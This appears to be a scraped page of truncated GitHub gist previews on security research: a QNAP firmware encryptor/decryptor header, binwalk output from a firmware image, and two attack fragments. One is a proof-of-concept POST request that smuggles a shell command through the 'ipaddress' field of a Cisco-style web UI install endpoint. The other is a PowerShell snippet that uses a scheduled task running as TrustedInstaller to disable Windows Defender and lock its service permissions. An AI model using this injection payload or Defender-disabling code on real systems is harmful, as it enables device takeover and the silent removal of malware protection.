This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import os, sys | |
import argparse | |
import struct | |
from functools import reduce | |
""" | |
QNAP QTS firmware encryptor/decryptor. | |
Based on https://pastebin.com/KHbX85nG |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## a POST request as: | |
POST /webui/rest/softwareMgmt/installAdd HTTP/1.1 | |
{"filePath": "abc/aaa", "fileSystem": "", "ipaddress": "1:1:1:;id>/bootflash/PaJbOLOT;#", "mode": "tftp", "operation_type": "SMU"} | |
## then another command with the POC technique: | |
dir bootflash: | include PaJbOLOT |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@bitforbyte:~/xxx# binwalk 100AAPP7D0.bin | |
DECIMAL HEXADECIMAL DESCRIPTION | |
-------------------------------------------------------------------------------- | |
131072 0x20000 JFFS2 filesystem, big endian | |
JFFS2 filesystem extract | |
total 1492 | |
1049502 drwxr-xr-x 18 root root 4096 Oct 27 23:33 . |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)' | |
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline | |
Register-ScheduledTask -TaskName 'TestTask' -Action $a | |
$svc = New-Object -ComObject 'Schedule.Service' | |
$svc.Connect() | |
$user = 'NT SERVICE\TrustedInstaller' | |
$folder = $svc.GetFolder('\') |